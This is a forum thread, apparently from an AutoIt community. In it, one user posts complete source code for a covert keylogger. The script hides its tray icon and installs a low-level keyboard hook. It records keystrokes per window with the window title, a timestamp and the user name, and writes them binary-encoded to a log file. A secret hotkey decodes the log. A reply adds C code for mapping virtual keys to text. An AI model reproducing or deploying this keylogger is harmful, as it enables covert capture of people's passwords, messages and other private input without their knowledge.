Jump to content
Sign in to follow this  
wolf9228

key Record / any Language

Recommended Posts

wolf9228

This example For English and Arabic Keyboard

_Exit() ==> SHIFT + ALT + CTRL + X

#NoTrayIcon

_WinAPI_SetWindowsHookEx

FileKeys.log ===> Binary

OUTFILE.INI ===> String

#NoTrayIcon
;This example For English and Arabic Keyboards
HotKeySet("+!^x", "_Exit") ; _Exit() ==> SHIFT + ALT + CTRL + X
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>
Global $hHook, $hStub_KeyProc, $buffer = ""
Local $hmod
$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
$hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)
$hWnd = _WinAPI_GetForegroundWindow() ;ForegroundWindow ==> ForegroundWindow hWnd
$titlex = _WinAPI_GetWindowText($hWnd) ;GetWindowText ==> ForegroundWindow titl
Dim $KeyboardKeyx = "[ " & $titlex  & " ]" & @CRLF , _
$key = "" , _
$hWndAll = "" , _
$ArrayKeys[1][3] , _
$type = "NORMAL" ;; NORMAL Pressed
$ArrayKeys[0][0] = 0 
DirCreate ( @ScriptDir & "\log" ) ; Dir For ===> FileKeys.log
$Count = IniRead(@ScriptDir & "\log\FileKeys.log", "Count", "Count", 0) ;Read Last Count

Run("Notepad")
WinWait("Untitled -")
WinActivate("Untitled -")

Run("write.exe")
WinWait("Document - WordPad")
WinActivate("Document - WordPad")


while 1
Sleep(10)
wend 


Func _KeyProc($nCode, $wParam, $lParam)
    Local $tKEYHOOKS
    $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
    If $nCode < 0 Then
        Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
    EndIf
    $vkCode = DllStructGetData($tKEYHOOKS, "vkCode")
    Switch $wParam 
    Case $WM_KEYUP 
    Switch $vkCode
    Case $vkCode = 160 
    Global $type = "NORMAL" ; NORMAL Pressed
    Case $vkCode = 162 
    Global $type = "NORMAL" ; NORMAL Pressed
    EndSwitch
    Case $WM_KEYDOWN
    Switch $vkCode
    Case $vkCode = 160 
    Global $type = "SHIFT" ; SHIFT Pressed
    Case $vkCode = 162 
    Global $type = "CTRL" ; CTRL Pressed
    EndSwitch
    OutPressed(StringRight(Hex($vkCode),2)) ;Hex vkCode ==> ASCII Hex
    Case Else
        Local $flags = DllStructGetData($tKEYHOOKS, "flags")
        Switch $flags
            Case $LLKHF_ALTDOWN
                ConsoleWrite("$LLKHF_ALTDOWN" & @LF)
            Case $LLKHF_EXTENDED
                ConsoleWrite("$LLKHF_EXTENDED" & @LF)
            Case $LLKHF_INJECTED
                ConsoleWrite("$LLKHF_INJECTED" & @LF)
            Case $LLKHF_UP
                ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @LF)
        EndSwitch
    EndSwitch
    Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc   ;==>_KeyProc

Func OnAutoItExit()
    _WinAPI_UnhookWindowsHookEx($hHook)
    DllCallbackFree($hStub_KeyProc)
EndFunc   ;==>OnAutoItExit




Func OutPressed($key) 
$hWnd = _WinAPI_GetForegroundWindow() ;ForegroundWindow ==> ForegroundWindow hWnd
$title = _WinAPI_GetWindowText($hWnd) ;GetWindowText ==> ForegroundWindow titl
If Not StringInStr($hWndAll, $hWnd) then ;chk ForegroundWindow hWnd IS new 
$hWndAll &= $hWnd & @CR
$Count = $Count + 1
ReDim $ArrayKeys[$ArrayKeys[0][0] + 2][3]
$ArrayKeys[$ArrayKeys[0][0] + 1][0] = $hWnd ;Add ForegroundWindow hWnd
$ArrayKeys[$ArrayKeys[0][0] + 1][1] = $Count ;Add ForegroundWindow Count /Ini File
$ArrayKeys[$ArrayKeys[0][0] + 1][2] = @CRLF & '[ ' & $title & ' ]' & @CRLF & @YEAR & "\" & @MON & "\" &  _
@MDAY & ":" & @HOUR & ":" & @MIN & ":" & @SEC & "\" & @WDAY & "\" & @YDAY  & "\" _
& @UserName & @CRLF ;Add ForegroundWindow Title TimeSYS And UserName 
$ArrayKeys[0][0] = $ArrayKeys[0][0] + 1 ;ArrayKeys Count
IniDelete(@ScriptDir & "\log\FileKeys.log", "Count", "Count") ;Dlet ini Count
IniWrite(@ScriptDir & "\log\FileKeys.log", "Count", "Count", $Count) ;Add new Count
EndIf
$Layout = _GetKeyboardLayout($hWnd) ;ForegroundWindow KeyboardLayout
if $Layout = '00002001' or $Layout = '00001401' or $Layout = '00000C01' or $Layout = '00002C01' or _ ;Arabic Layout
$Layout = '00003401' or $Layout = '00003001' or $Layout = '00001801' or $Layout = '00004001' or _ ;Arabic Layout
$Layout = '00000401' or $Layout = '00002801' or $Layout = '00001C01' or $Layout = '00003801' or _ ;Arabic Layout
$Layout = '00002401' or $Layout = '00003C01' or $Layout = '00000801' then ;Arabic Layout
$KeyboardKey = KeyboardAR($type , $key) ; Arabic KeyboardAR
else ;English Layout
$KeyboardKey = KeyboardEN($type, $key) ; English KeyboardAR
endif 
if $KeyboardKey = 'NOTHING' Then Return ;if Pressed key with CTRL Or Key Not in (23 - 126) ASCII Codes
For $i = $ArrayKeys[0][0] To 1 Step -1
If $ArrayKeys[$i][0] = $hWnd then ExitLoop
Next
if $KeyboardKey = 'BACKSPACE' Then ;Pressed BACKSPACE
$ArrayKeys[$i][2] = StringTrimRight($ArrayKeys[$i][2], 1)
Else ;other Key
$ArrayKeys[$i][2] &= $KeyboardKey
EndIf
IniDelete(@ScriptDir & "\log\FileKeys.log", $ArrayKeys[$i][1], $ArrayKeys[$i][1])
IniWrite(@ScriptDir & "\log\FileKeys.log", $ArrayKeys[$i][1], $ArrayKeys[$i][1], StringToBinary($ArrayKeys[$i][2])) ;IniWrite Binary keys
EndFunc

Func KeyboardEN($type, $key)
Switch $type
Case 'NORMAL' 
Switch $key
Case 'C0'    
$key = '`'
Case '31'    
$key = '1'
Case '32'    
$key = '2'
Case '33'    
$key = '3'
Case '34'    
$key = '4'
Case '35'    
$key = '5'
Case '36'    
$key = '6'
Case '37'    
$key = '7'
Case '38' 
$key = '8'
Case '39'    
$key = '9'
Case '30'    
$key = '0'
Case 'BD'    
$key = '-'
Case 'BB'    
$key = '='
Case 'DC'    
$key = '\'
Case '51'    
$key = 'q'
Case '57'    
$key = 'w'
Case '45'    
$key = 'e'
Case '52'    
$key = 'r'
Case '54'    
$key = 't'
Case '59'    
$key = 'y'
Case '55'    
$key = 'u'
Case '49'    
$key = 'i'
Case '4F'    
$key = 'o'
Case '50'    
$key = 'p'
Case 'DB'    
$key = '['
Case 'DD'    
$key = ']'
Case '41'    
$key = 'a'
Case '53'    
$key = 's'
Case '44'    
$key = 'd'
Case '46'    
$key = 'f'
Case '47'    
$key = 'g'
Case '48'    
$key = 'h'
Case '4A'    
$key = 'j'
Case '4B'    
$key = 'k'
Case '4C'    
$key = 'l'
Case 'BA'    
$key = ';'
Case 'DE'    
$key = "'"
Case '5A'    
$key = 'z'
Case '58'    
$key = 'x'
Case '43'    
$key = 'c'
Case '56'    
$key = 'v'
Case '42'    
$key = 'b'
Case '4E'    
$key = 'n'
Case '4D'    
$key = 'm'
Case 'BC'    
$key = ','
Case 'BE'    
$key = '.'
Case 'BF'    
$key = '/'
Case '20'    
$key = " "
Case '0D'    
$key = @CRLF
Case '08'
$key = 'BACKSPACE'
Case Else
$key = 'NOTHING'
EndSwitch
return $key
Case 'SHIFT' 
Switch $key
Case 'C0'    
$key = '~'
Case '31'    
$key = '!'
Case '32'    
$key = '@'
Case '33'    
$key = '#'
Case '34'    
$key = '$'
Case '35'    
$key = '%'
Case '36'    
$key = '^'
Case '37'    
$key = '&'
Case '38'    
$key = '*'
Case '39'    
$key = '('
Case '30'    
$key = ')'
Case 'BD'    
$key = '_'
Case 'BB'    
$key = '+'
Case 'DC'    
$key = '|'
Case '51'    
$key = 'Q'
Case '57'    
$key = 'W'
Case '45'    
$key = 'E'
Case '52'    
$key = 'R'
Case '54'    
$key = 'T'
Case '59'    
$key = 'Y'
Case '55'    
$key = 'U'
Case '49'    
$key = 'I'
Case '4F'    
$key = 'O'
Case '50'    
$key = 'P'
Case 'DB'    
$key = '{'
Case 'DD'    
$key = '}'
Case '41'    
$key = 'A'
Case '53'    
$key = 'S'
Case '44'    
$key = 'D'
Case '46'    
$key = 'F'
Case '47'    
$key = 'G'
Case '48'    
$key = 'H'
Case '4A'    
$key = 'J'
Case '4B'    
$key = 'K'
Case '4C'    
$key = 'L'
Case 'BA'    
$key = ':'
Case 'DE'    
$key = '"'
Case '5A'    
$key = 'Z'
Case '58'    
$key = 'X'
Case '43'    
$key = 'C'
Case '56'    
$key = 'V'
Case '42'    
$key = 'B'
Case '4E'    
$key = 'N'
Case '4D'    
$key = 'M'
Case 'BC'    
$key = '<'
Case 'BE'    
$key = '>'
Case 'BF'    
$key = '?'
Case '20'    
$key = " "
Case '08'
$key = 'BACKSPACE'
Case Else
$key = 'NOTHING'
EndSwitch
return $key
Case 'CTRL'
return 'NOTHING'
EndSwitch
EndFunc


Func KeyboardAR($type, $key)
Switch $type
Case 'NORMAL'
Switch $key
Case 'C0'    
$key = 'ذ'
Case '31'    
$key = '1'
Case '32'    
$key = '2'
Case '33'    
$key = '3'
Case '34'    
$key = '4'
Case '35'    
$key = '5'
Case '36'    
$key = '6'
Case '37'    
$key = '7'
Case '38'    
$key = '8'
Case '39'    
$key = '9'
Case '30'    
$key = '0'
Case 'BD'    
$key = '-'
Case 'BB'    
$key = '='
Case 'DC'    
$key = '\'
Case '51'    
$key = 'ض'
Case '57'    
$key = 'ص'
Case '45'    
$key = 'ث'
Case '52'    
$key = 'ق'
Case '54'    
$key = 'ف'
Case '59'    
$key = 'غ'
Case '55'    
$key = 'ع'
Case '49'    
$key = 'ه'
Case '4F'    
$key = 'خ'
Case '50'    
$key = 'ح'
Case 'DB'    
$key = 'ج'
Case 'DD'    
$key = 'د'
Case '41'    
$key = 'ش'
Case '53'    
$key = 'س'
Case '44'    
$key = 'ي'
Case '46'    
$key = 'ب'
Case '47'    
$key = 'ل'
Case '48'    
$key = 'ا'
Case '4A'    
$key = 'ت'
Case '4B'    
$key = 'ن'
Case '4C'    
$key = 'م'
Case 'BA'    
$key = 'ك'
Case 'DE'    
$key = 'ط'
Case '5A'    
$key = 'ئ'
Case '58'    
$key = 'ء'
Case '43'    
$key = 'ؤ'
Case '56'    
$key = 'ر'
Case '42'    
$key = 'لا'
Case '4E'    
$key = 'ى'
Case '4D'    
$key = 'ة'
Case 'BC'    
$key = 'و'
Case 'BE'    
$key = 'ز'
Case 'BF'    
$key = 'ظ'
Case '20'    
$key = " "
Case '0D'    
$key = @CRLF
Case '08'
$key = 'BACKSPACE'
Case Else
$key = 'NOTHING'
EndSwitch
return $key
Case 'SHIFT'
Switch  $key
Case 'C0'    
$key = 'ّ'
Case '31'    
$key = '!'
Case '32'    
$key = '@'
Case '33'    
$key = '#'
Case '34'    
$key = '$'
Case '35'    
$key = '%'
Case '36'    
$key = '^'
Case '37'    
$key = '&'
Case '38'    
$key = '*'
Case '39'    
$key = ')'
Case '30'    
$key = '('
Case 'BD'    
$key = '_'
Case 'BB'    
$key = '+'
Case 'DC'    
$key = '|'
Case '51'    
$key = 'َ'
Case '57'    
$key = 'ً'
Case '45'    
$key = 'ُ'
Case '52'    
$key = 'ٌ'
Case '54'    
$key = 'لإ'
Case '59'    
$key = 'إ'
Case '55'    
$key = ''
Case '49'    
$key = '÷'
Case '4F'    
$key = '×'
Case '50'    
$key = '؛'
Case 'DB'    
$key = '<'
Case 'DD'    
$key = '>'
Case '41'    
$key = 'ِ'
Case '53'    
$key = 'ٍ'
Case '44'    
$key = ']'
Case '46'    
$key = '['
Case '47'    
$key = 'لأ'
Case '48'    
$key = 'أ'
Case '4A'    
$key = 'ـ'
Case '4B'    
$key = '،'
Case '4C'    
$key = '/'
Case 'BA'    
$key = ':'
Case 'DE'    
$key = '"'
Case '5A'    
$key = '~'
Case '58'    
$key = 'ْ'
Case '43'    
$key = '}'
Case '56'    
$key = '{'
Case '42'    
$key = 'لآ'
Case '4E'    
$key = 'آ'
Case '4D'    
$key = ''
Case 'BC'    
$key = ','
Case 'BE'    
$key = '.'
Case 'BF'    
$key = '؟'
Case '20'    
$key = " "
Case '08'
$key = 'BACKSPACE'
Case Else
$key = 'NOTHING'
EndSwitch
return $key
Case 'CTRL' 
return 'NOTHING'
EndSwitch
EndFunc


Func _GetKeyboardLayout($hWnd)
Local $ret = DllCall("user32.dll", "long", "GetWindowThreadProcessId", "hwnd", $hWnd, "ptr", 0)
$ret = DllCall("user32.dll", "long", "GetKeyboardLayout", "long", $ret[0])
Return "0000" & Hex($ret[0], 4)
EndFunc


Func _Exit()
$var5 = IniReadSectionNames(@ScriptDir & "\log\FileKeys.log")
IF IsArray($var5) Then
$file = FileOpen(@ScriptDir & "\log\OUTFILE.INI", 2)
FOR $I = 1 TO $var5[0] Step 1
$varIniRead = IniRead(@ScriptDir & "\log\FileKeys.log", $var5[$I], $var5[$I], 0)
FileWrite($file, BinaryToString($varIniRead))
Next
FileClose($file)
EndIf
Exit
EndFunc
Edited by wolf9228

صرح السماء كان هنا

 

Share this post


Link to post
Share on other sites
LarryDalooza

There is API for auto translating this stuff. I used it in AU3Record.exe... let me see if I can find it.

Lar.


f_mrcleansmalm_77ce002.jpgAutoIt has helped make me wealthy

Share this post


Link to post
Share on other sites
LarryDalooza

MapVirtualKey()

edit: I may have jumped the gun on this... not even sure this is correct.

This may be faulty... but this is how I populate the KEY ARRAY

void LoadszKeyTxt (void)
{
    int a;
    for( a=1;a<=255;a++)
        szKeyTxt[a][0]=MapVirtualKey(a,2);

    strcpy(szKeyTxt[3],(char*)"{CTRLBREAK}");
    strcpy(szKeyTxt[8],(char*)"{BACKSPACE}");
    strcpy(szKeyTxt[9],(char*)"{TAB}");
    strcpy(szKeyTxt[13],(char*)"{ENTER}");
    strcpy(szKeyTxt[16],(char*)"{SHIFT}");
    strcpy(szKeyTxt[17],(char*)"{CTRL}");
    strcpy(szKeyTxt[18],(char*)"{ALT}");
    strcpy(szKeyTxt[19],(char*)"{PAUSE}");
    strcpy(szKeyTxt[20],(char*)"{CAPSLOCK}");
    strcpy(szKeyTxt[27],(char*)"{ESC}");
    strcpy(szKeyTxt[32],(char*)"{SPACE}");
    strcpy(szKeyTxt[33],(char*)"{PGUP}");
    strcpy(szKeyTxt[34],(char*)"{PGDN}");
    strcpy(szKeyTxt[35],(char*)"{END}");
    strcpy(szKeyTxt[36],(char*)"{HOME}");
    strcpy(szKeyTxt[37],(char*)"{LEFT}");
    strcpy(szKeyTxt[38],(char*)"{UP}");
    strcpy(szKeyTxt[39],(char*)"{RIGHT}");
    strcpy(szKeyTxt[40],(char*)"{DOWN}");
    strcpy(szKeyTxt[44],(char*)"{PRINTSCREEN}");
    strcpy(szKeyTxt[45],(char*)"{INS}");
    strcpy(szKeyTxt[46],(char*)"{DEL}");
    strcpy(szKeyTxt[91],(char*)"{LWIN}");
    strcpy(szKeyTxt[92],(char*)"{RWIN}");
    strcpy(szKeyTxt[93],(char*)"{APPSKEY}");
    strcpy(szKeyTxt[107],(char*)"{+}");
    strcpy(szKeyTxt[112],(char*)"{F1}");
    strcpy(szKeyTxt[113],(char*)"{F2}");
    strcpy(szKeyTxt[114],(char*)"{F3}");
    strcpy(szKeyTxt[115],(char*)"{F4}");
    strcpy(szKeyTxt[116],(char*)"{F5}");
    strcpy(szKeyTxt[117],(char*)"{F6}");
    strcpy(szKeyTxt[118],(char*)"{F7}");
    strcpy(szKeyTxt[119],(char*)"{F8}");
    strcpy(szKeyTxt[120],(char*)"{F9}");
    strcpy(szKeyTxt[121],(char*)"{F10}");
    strcpy(szKeyTxt[122],(char*)"{F11}");
    strcpy(szKeyTxt[123],(char*)"{F12}");
    strcpy(szKeyTxt[144],(char*)"{NUMLOCK}");
    strcpy(szKeyTxt[145],(char*)"{SCROLLLOCK}");
}
Edited by LarryDalooza

f_mrcleansmalm_77ce002.jpgAutoIt has helped make me wealthy

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.